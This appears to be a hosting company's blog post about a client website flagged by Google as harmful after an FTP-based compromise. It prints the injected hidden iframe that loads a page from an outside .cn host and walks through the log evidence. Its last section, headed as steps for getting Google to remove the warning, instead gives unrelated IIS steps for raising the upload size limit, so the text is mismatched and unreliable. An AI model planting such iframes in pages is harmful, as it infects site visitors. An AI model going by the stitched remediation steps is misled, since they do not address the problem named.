Within this article we will discuss

1. What does it mean to have a compromised website
2. How does a compromise occur
3. How to resolve this issue
4. How to I work with Google to remove the “This site may harm your computer” link

What does it mean to have a compromised website?

Recently we had a client call us with this concern.  Several of his clients contacted him and said that when they searched for his website on Google, they were presented with a link under the title of the result page that said “This site may harm your computer”.  The result looked just like this:

How did this happen?

In this case, it is easy to look at the result of the attack and work backward toward how the attack occurred.  Here is what we know;

1. The attacker placed the following line of code on a website file:

   <iframe src="http://filmlifeimages.cn:8080/index.php"

   width=180 height=111 style="visibility: hidden"></iframe>

2. After consulting with the client, who had FTP access, we knew that he was not responsible for uploading a file containing this information
3. We noted the date of the modified file on the file system 6/10/2009 @  2:08am CST
4. We then looked at the FTP log files to understand what happened on the 10th at 2:08am.
5. The log file outlined that every page on the site was overwritten, status 226, on or around 2:08am
6. The account used to access the server was a valid FTP account.

How do I resolve this issue?
If you are the hosting company – you should know what to do.  Reset the FTP account password, remove ‘any’ access to port 21 on your firewall and begin restricting access by IP or VPN.

If you are the client – your computer, and potentially your network is infected with a keylogger program.  Our suggestion is that you complete the following steps immediately.

1. If you do online banking, call your bank immediately to have your account credentials changed
2. If you have purchased anything online recently, call your credit card companies and have them reissue you a new card.
3. If you have provided any websites significant information about your identity, contact an identity theft company

Once you have completed the steps above, you now have to remove the keylogger program from your system.  We recommend using AVAST, found at http://www.avast.com/, there are several types of software like this out on the internet.  Run a full scan of your system and remove all of the infected files.  Moving forward, you should run these types of programs constantly and conduct full system/network scan on a routine basis.

How to I work with Google to remove the “This site may harm your computer” link

IIS Upload Modification Steps:

1. Go to Start > Run, type in “inetmgr” – hit OK
2. The IIS Manager will open
3. Right-click on “local-computer” or your computer name




4. Your computer properties window will open
5. Check “Enable Direct Metabase Edit”




6. You will now be able to update the metabase.xml file without restarting IIS after you’ve completed your update
7. Navigate to the following directory: C:\windows\sytem32\inetserv
8. Open the MetaBase.xml file with notepad







9. With the file open, Find (Control+F) the line containing “AspMaxRequestEntityAllowed”
10. The numeric value assigned to this variable is in KB (by default is 204800 or 200K).
11. Update this value to increase the file upload size (1MB = 1000000)